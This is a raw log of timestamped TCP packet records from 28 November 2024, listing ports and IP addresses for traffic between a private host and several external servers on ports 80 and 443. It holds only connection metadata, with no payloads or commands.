Nov 28, 2024 15:17:42.068902969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.069581985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.069638014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.070494890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.070507050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.070554018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.070559978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.070599079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.071244955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.071343899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.071885109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.071897030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.071913958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.071933985 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.071957111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.072603941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.072652102 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.072984934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.073132992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.073399067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.073451996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.073779106 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.073856115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.074455023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.074740887 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.075210094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.075223923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.075248003 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.075263023 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.075305939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.075337887 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.076500893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.076647043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.077090979 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.077102900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.077147961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.077219009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.077250957 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.078003883 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.078044891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.078917980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.078932047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.078975916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.079010010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.079037905 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.079790115 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.079840899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.080223083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.080312967 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.080456972 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.080723047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.080734968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.080764055 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.080785990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.081669092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.081746101 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.082556963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.082568884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.082602024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.082606077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.082642078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.083250046 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.083276987 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.083535910 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.083801985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.083822012 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.083862066 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.084413052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.084619045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.085329056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.085340977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.085400105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.085401058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.085550070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.085587025 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.086361885 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.086373091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.086411953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.087153912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.087193966 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.087236881 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.087280035 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.088074923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.088087082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.088141918 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.088141918 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.089025021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.089062929 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.089574099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.089624882 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.089951992 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.090003014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.090867043 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.090879917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.090919018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.133179903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.183418989 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.183442116 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.183490992 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.183515072 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.183541059 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.183563948 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.188733101 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.188750982 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.188796997 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.188802958 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.188838959 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.188863039 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.195044041 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.195060968 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.195122957 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.195130110 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.195163965 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.201519012 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.201539040 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.201576948 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.201584101 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.201623917 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.201646090 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.206803083 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.206823111 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.206864119 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.206867933 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.206902027 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.206919909 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.213028908 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.213043928 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.213092089 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.213097095 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.213136911 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.218406916 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.218425035 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.218472958 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.218482971 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.218494892 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.218533039 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.224963903 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.224982977 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.225023031 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.225028038 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.225064039 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.254014015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.299382925 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.299422026 CET	443	49863	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.299555063 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.305016994 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.305027962 CET	443	49863	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.320187092 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.322854996 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.322875977 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.323282957 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.393665075 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.393697023 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.393760920 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.393784046 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.393899918 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.400105000 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.400120974 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.400166988 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.400173903 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.400196075 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.400217056 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.405143023 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.405164003 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.405235052 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.405260086 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.405463934 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.406451941 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.406501055 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.406507015 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.406523943 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.406703949 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.423820972 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.423883915 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.433243990 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.440697908 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.443900108 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.445131063 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.445158005 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.457178116 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:42.457245111 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:42.457319975 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:42.457653046 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:42.457685947 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:42.493372917 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.493392944 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.524403095 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.536609888 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.583337069 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.589073896 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.589262009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.589273930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.589318991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.589353085 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.589370966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.589405060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.590110064 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.590190887 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.590224028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.590275049 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.590312958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.591177940 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.591231108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.591325045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.591367006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.592072010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.592123032 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.593018055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.593029976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.593075037 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.593095064 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.593106031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.593251944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.593943119 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.593995094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.594249964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.594293118 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.594834089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.595180988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.595798016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.595810890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.595835924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.595871925 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.596178055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.596266031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.596637011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.596733093 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.597496986 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.597544909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.597677946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.597691059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.597712040 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.597726107 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.598522902 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.598570108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.599459887 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.599471092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.599483967 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.599522114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.599565029 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.600308895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.600367069 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.601039886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.601089954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.601280928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.601293087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.601319075 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.601332903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.602158070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.602207899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.602277040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.602400064 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.603116035 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.603188992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.603346109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.603413105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.604027987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.604044914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.604094982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.604878902 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.604932070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.605726957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.605781078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.605827093 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.605839014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.605880022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.606730938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.606780052 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.607275009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.607546091 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.607745886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.607758045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.607789040 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.608576059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.608638048 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.609138012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.609286070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.609467983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.609509945 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.610397100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.610445976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.610457897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.610465050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.610490084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.611287117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.611637115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.612255096 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.612267971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.612281084 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.612302065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.612332106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.613133907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.613183022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.614025116 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.614070892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.614078999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.614092112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.614165068 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.614974976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.615128994 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.615916014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.615936041 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.615968943 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.615998030 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.616003036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.616036892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.616839886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.616893053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.617328882 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.617429972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.617763996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.618036985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.618083954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.618654013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.618705988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.618983984 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.619033098 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.619647026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.619844913 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.620003939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.620151997 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.620526075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.620538950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.620579004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.621387005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.621459007 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.621762037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.622054100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.622252941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.622298002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.622446060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.622488976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.623197079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.623250008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.624152899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.624165058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.624178886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.624222040 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.625034094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.625092030 CET	49804	80	192.168.2.6	185.215.113.206
